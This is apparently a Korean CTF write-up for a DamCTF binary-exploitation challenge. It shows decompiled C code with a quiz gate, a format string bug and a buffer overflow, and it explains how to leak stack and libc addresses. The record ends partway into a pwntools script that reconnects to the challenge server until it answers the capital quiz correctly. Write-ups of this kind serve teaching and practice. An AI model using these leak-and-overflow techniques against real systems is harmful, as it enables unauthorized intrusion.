v3 = time(0LL); v4 = v3; srand(v3); load_countries(v4, argv); puts("Alright I need to prove you're human so lets do some geography"); v8 = rand() % num_countries; country = (char *)&countries + 100 * v8; printf("What is the capital of %s?\n", country); fgets(input, 50, stdin); input[strcspn(input, "\r\n")] = 10; if ( strcmp(input, country + 50) ) { printf("Incorrect. The capital of %s is %s.\n", country, country + 50); exit(0); } puts("Correct!"); puts("Alright I'll let you through"); menu(); return0; }
load_countries 함수는 간단하게 이야기하면 서버에 있는 txt 파일에서 country와 capital을 읽어오는 것이다. country는 country에 저장되고 capital은 country + 50에 저장된다. 이 두 개의 데이터를 읽어오는 txt 파일 내부는 아래와 같이 생겼다. , 기준으로 잘라서 읽는다.
1 2
aaaa,bbbb cccc,dddd
짝에 맞는 country와 captial을 맞춰주면 menu 함수를 실행하게 되고 본격적인 구현이 시작된다. 참고로 틀리면 정답을 알려주니 remote로 문제를 풀 때 일부러 틀려서 데이터들을 모아서 풀면 된다. 한 번만 맞추면 menu 함수를 실행하니 맞출 때까지 연결했다가 끊어주고 하면 된다.
switch ( choice ) { case'1': read_book(); break; case'2': watch_movie(fsb); // leak something break; case'3': review(); // put payload break; case'4': puts("Sad to see you go."); // bof puts("Could I get your name for my records?"); return read(0, buf, 48uLL); case'5': (fsb); // read(0, fsb, 0x12CuLL); break; default: exit(0); }
주석에 적힌대로 watch_movie 함수에서는 쉽게 printf(buf)로 인해 대놓고 FSB가 발생한다. 입력은 5번 메뉴인 add_movie 함수에서 아래와 같이 이뤄진다.
puts("Enter your movie link here and I'll add it to the list"); read(0, fsb, 0x12CuLL); result = strstr((constchar *)fsb, "%n"); if ( result ) exit(0); return result; }
n이 필터링되어 있어서 p를 사용해서 주소 leak만 할 수 있다.
한편, 4번 메뉴에선 BOF가 발생하는데 버퍼의 위치가 아래와 같아서 정말 아슬하게 오버플로우가 발생한다.
1
char buf[32]; // [rsp+130h] [rbp-20h] BYREF
대신 review 함수를 보면 아주 넉넉하게 변수에다가 입력을 받고 있으므로 여기다가 payload를 저장시켜 놓고 흐름을 바꾸면 될 것 같다!
puts("What is the name of the book/movie you would like to review?"); read(0, buf, 59uLL); puts("Okay, write your review below:"); read(0, v1, 1000uLL); returnputs("Thanks! I'll make sure to take note of this review."); }
Solve
captital 질문 맞추기
add_movie 함수와 watch_movie 함수를 통해 FSB를 이용하여 leak stack, libc address
# p = process('./chall-p') e = ELF('./chall-p') libc = ELF('./libc.so.6') p = remote('chals.damctf.xyz', 30888)
while(1): sleep(1) p.recvuntil(b'capital of ') country = p.recvline() country = country[:-2]
# if country == b'aaaa': # p.sendline(b'bbbb') # if country == b'cccc': # p.sendline(b'dddd')
if country == b'Italy': p.sendline('Rome') if country == b'Australia': p.sendline('Canberra') if country == b'Ireland': p.sendline('Dublin') if country == b'Jordan': p.sendline('Amman') if country == b'Sweden': p.sendline('Stockholm') if country == b'India': p.sendline('Delhi') if country == b'Egypt': p.sendline('Cairo') if country == b'Tanzania': p.sendline('Dodoma') if country == b'Lebanon': p.sendline('Beirut') if country == b'Kenya': p.sendline('Nairobi') if country == b'Denmark': p.sendline('Copenhagen') if country == b'Peru': p.sendline('Lima')
p.sendline() text = p.recvline() print(text) ifb'Incorrect.'in text: p.close() # p = process('./chall-p') p = remote('chals.damctf.xyz', 30888) else: break